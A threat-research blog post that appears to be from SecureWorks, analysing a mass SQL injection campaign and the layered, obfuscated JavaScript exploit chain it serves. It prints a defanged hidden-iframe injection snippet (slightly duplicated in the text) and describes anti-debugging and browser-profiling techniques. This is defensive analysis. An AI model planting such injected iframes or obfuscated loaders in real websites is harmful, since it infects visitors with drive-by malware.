Down the JavaScript Rabbit Hole

In the last weeks, the SecureWorks' Counter Threat UnitTM noticed a significant uptick in the volume of mass SQL injection attacks. What follows is a small part of an in-depth analysis we undertook to better understand these attacks.

Our analysis began with the SQL injection attacks themselves. The attack pattern consists of a long hex-encoded value that's converted into a string by the victim's SQL Server. This cloaks the attack from simple inspection, but is easily decoded with a bit of scripting. Of note, we've seen the size of the hex-encoded payload decrease significantly over time: the attackers behind this are adapting.

What is uncovered is an attempt to inject a small bit of HTML into every page served by the compromised website. The injected IFRAME references a JavaScript file (b.js in all the samples we've observed) hosted on another server. b.js is fairly straight forward bit of JavaScript:

try{ document.write("<iframe src=hxxp://

<bad_domain_here>/cgi-bin/?ad width=0 height=0 frameborder=0></iframe>"); bin/?ad width=0 height=0 frameborder=0></iframe>"); } catch(e) { };

This generated IFRAME serves up a nice piece of obfuscated, packed JavaScript with an 8 kB or so payload. This code included two noteworthy pieces of anti-debugging:

  1. location.href key: As noted elsewhere in the security community [1], unpacking can be made more difficult by including keys only the client browser would know. For the packer we dissected, location.href, the URL of the referencing document, formed part of the decoding key. If one only had the IFRAME code to examine, this would make decryption difficult. However, since we had followed this exploit from the original SQL injection, we knew the referencing document and could provide this parameter. Note that the generating server must uniquely key the packed code to the referenced domain as a result of this.
  2. Use of arguments.callee: This JavaScript primitive allows access to the called function, allowing recursion and other nifty functional abilities. In this case, the packer calls arguments.callee.toString(), which returns the body of the function itself as a String. By appending this to the decoding key, the function is slightly harder to decode you can't modify the code in place to force it to decode.

Utilizing our Caffeine Monkey tool, we pealed back this layer of the exploit onion. Interestingly, the attackers choose to encode twice with the same obfuscation technique, possibly to foil automated unpacking. We uncovered a simple browser profiling engine, again written in JavaScript. It looked at two properties:

  1. navigator.appMinorVersion: Only present on IE, this property returns the Windows service pack level. On the example systems we tested, it returned ?;SP2;?, representing XP Service Pack 2. The detection code adds 1 to this, left-zero pads it to 2 characters, and sends it as characters 48 and 49 of the request URL described below.
  2. navigator.systemLanguage: Returns the combination of language and country code for localization. The characters for this are translated to their ASCII digit equivalents minus the hyphen, so en-us becomes 656E2D7573. This is padded out with zeros to become the final 20 digits of the request URL.

Once the profiling is complete, the code crafts a custom URL using the above data, creates a new SCRIPT tag sourcing this URL, and appends it to the current document. This triggers another download, this time from a different server.

Thankfully, this finabit of JavaScript is again double encoded with the same technique we encountered before. What's unveiled is a chunk of JavaScript that attempts to exploit a number of known vulnerable ActiveX controls as well as an older vulnerability in Internet Explorer. What's new here is the fancy packaging.

Interestingly, there are some rudimentary bits of commented-out anti-debugging code in the unraveled JavaScript code. Though incomplete and non-functional, it shows that attackers are getting more sophisticated with defending their exploits from reverse engineering. Expect to see setTimeout anti-reversing techniques in the near future.


Back to all Blogs

Talk with an Expert

Thank you for submitting the form! We have received your request. A Secureworks team member will contact you within one business day.